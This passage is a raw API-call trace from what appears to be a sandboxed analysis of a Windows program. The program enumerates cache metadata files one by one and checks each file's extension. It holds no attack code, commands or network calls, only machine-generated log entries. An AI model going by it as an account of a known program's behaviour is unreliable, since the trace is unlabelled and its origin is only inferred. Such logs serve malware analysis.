dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0122.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0122.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.020] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0122.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0122.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0122.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.023] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0122.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0122.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.024] FindNextFileW (in: hFindFile=0x3008f60, 